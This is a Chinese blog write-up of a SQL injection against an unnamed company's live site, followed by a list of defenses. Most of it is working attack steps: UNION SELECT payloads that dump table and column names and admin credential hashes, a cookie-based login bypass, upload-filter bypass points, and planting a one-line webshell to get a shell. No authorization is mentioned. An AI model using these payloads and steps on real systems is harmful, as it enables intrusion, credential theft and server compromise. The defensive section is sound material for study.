记某公司一处SQL注入


记某公司一处SQL注入

简介

  • SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

测试过程

1、目标站点

http://www.xxx.com.cn/tool.php?id=108

2、测试是否有注入点

and 1=1 (返回正常); and 1=2 (返回错误)

  • 说明存在注入

3、猜字段长度

order by 36 -- 正常; order by 37 -- 不正常

4、联合查询猜报错位置

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 --  发现在 4 10 位置报错

5、获取当前数据库

union select 1,2,3,version(),5,6,7,8,9,@@version_compile_os,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 --

6、获取当前数据库的所有表名

union select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() --

7、获取web_admin、web_admin_role表中的所有字段名

union select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_name=0x7765625f61646d696e --

8、获取admin_user和admin_pwd字段里的内容

union select 1,2,3,4,5,6,7,8,9,group_concat(admin_user,0x5e,admin_pwd),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from web_admin --

脱坑

  • 由于猜出来的密码是MD5加密的,但是无法破解,只能找到后台地址后,绕过登录密码。

9、后台路径查找方法:

(1)御剑、wwwscan、dirbuster、awvs、appscan扫描

(2)robots.txt遗留文件

(3)Google Hack

(4)BurpSuite扫描

(5)默认CMS管理后台

(6)端口站点,比如FOFA Pro view插件

(7)网站备份文件

(8)二级域名

10、登录绕过

Burpsuite抓包截获到发送到代理的客户端请求之后,右键单击

do intercept–>reseponse to this request,然后添加Cookie值,放行数据包,就可以绕过密码,登录到后台。

11、查看数据库权限

and ord(mid(user(),1,1))=114 返回正常说明为root。

数据库库路径

union select 1,2,3,4,5,6,7,8,9,@@datadir,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 --

后渗透

思路:

1、查找图片上传位置,看看有没有文件上传漏洞,有就可以上马。一般有上传限制,可以结合文件上传绕过上传。

文件上传绕过点:

(1)前端Javascript校验

(2)黑名单校验

(3)Content-type校验

(4)文件头校验

2、找网站绝对路径,然后写一句话马,前提是最高管理员权限,写完记录上传的位置,访问测试写入是否成功,最后用菜刀或者蚁剑连接。

3、最后拿shell。


SQL注入防范

(1)将输入的单引号变成双引号。

(2)使用存储过程,将查询功能写在存储过程prcGetCustomer内。

(3)在输入表单内进行过滤,尽可能过滤掉可疑字符。

(4)在组织SQL语句中,将用户输入的字符串以参数的形式来包装。

(5)严格区分数据库访问权限。

(6)多层架构下的防御策略。

(7)对数据库的敏感信息以加密的方式来传输。

(8)对数据库查询出错的信息进行屏蔽。

(9)建立攻击者IP备案机制。

文件上传防范

(1)对上传文件做有效文件类型判断,采用白名单控制的方法,开放只允许上传的文件型式,其中文件类型判断应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的。

(2)服务端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

(3)权限方面:统一上传模块写入文件的位置并取消上传目录的程序运行
权限。

(4)使用第三方WEB防火墙来加固整个网站系统。


                           最后来听首歌放松一下

文章作者: 洋葱
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 洋葱 !
 上一篇
某大学缴费平台一处水平越权和任意密码重置 某大学缴费平台一处水平越权和任意密码重置
某大学缴费平台一处水平越权和任意密码重置简介 水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。Web应用程序在接收到用户的请求时,我们
2020-04-26
本篇 
记某公司一处SQL注入 记某公司一处SQL注入
记某公司一处SQL注入简介 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器
2020-02-16
  目录